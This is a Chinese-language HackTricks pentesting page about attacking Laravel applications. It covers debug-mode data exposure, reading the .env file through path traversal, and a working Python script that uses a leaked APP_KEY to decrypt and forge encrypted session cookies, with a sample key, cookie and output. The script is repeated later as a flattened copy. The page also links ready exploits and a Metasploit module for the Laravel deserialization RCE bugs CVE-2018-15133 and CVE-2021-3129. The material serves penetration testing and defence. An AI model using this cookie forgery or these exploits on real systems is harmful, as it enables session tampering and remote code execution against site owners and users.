Laravel

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Laravel技巧

调试模式

如果Laravel处于调试模式，您将能够访问代码和敏感数据。例如 http://127.0.0.1:8000/profiles:

这通常用于利用其他Laravel RCE CVEs。

.env

Laravel将用于加密cookie和其他凭据的APP保存在名为.env的文件中，可以通过一些路径遍历在/../.env下访问。

Laravel还将在调试页面中显示此信息（当Laravel发现错误并激活时会出现）。

使用Laravel的秘密APP_KEY，您可以解密和重新加密cookie：

import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')

Laravel反序列化RCE

受影响版本：5.5.40和5.6.x至5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

在这里你可以找到有关反序列化漏洞的信息：https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

你可以使用https://github.com/kozmic/laravel-poc-CVE-2018-15133进行测试和利用或者你也可以使用metasploit进行利用：use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

另一个反序列化漏洞：https://github.com/ambionics/laravel-exploits

Laravel SQL注入

阅读有关此内容的信息：https://stitcher.io/blog/unsafe-sql-functions-in-laravel

从零开始学习AWS黑客技术，成为专家 htARTE (HackTricks AWS Red Team Expert)！

你在网络安全公司工作吗？想要在HackTricks中看到你的公司广告？或者想要访问PEASS的最新版本或下载PDF格式的HackTricks？查看订阅计划!
探索PEASS家族，我们的独家NFT收藏品
获取官方PEASS & HackTricks周边产品
加入 💬 Discord群 或 电报群 或在Twitter上关注我 🐦@carlospolopm。
通过向hacktricks repo和hacktricks-cloud repo提交PR来分享你的黑客技巧。

最后更新于1年前

import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps #https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3 def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value) def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value) def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic['mac'] value = bytes(dic['value'], 'utf-8') iv = bytes(dic['iv'], 'utf-8') if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return '' def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, 'utf-8') value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac} return base64.b64encode(bytes(json.dumps(dic), 'utf-8')) app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=' key = base64.b64decode(app_key) decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9') #b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e' encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')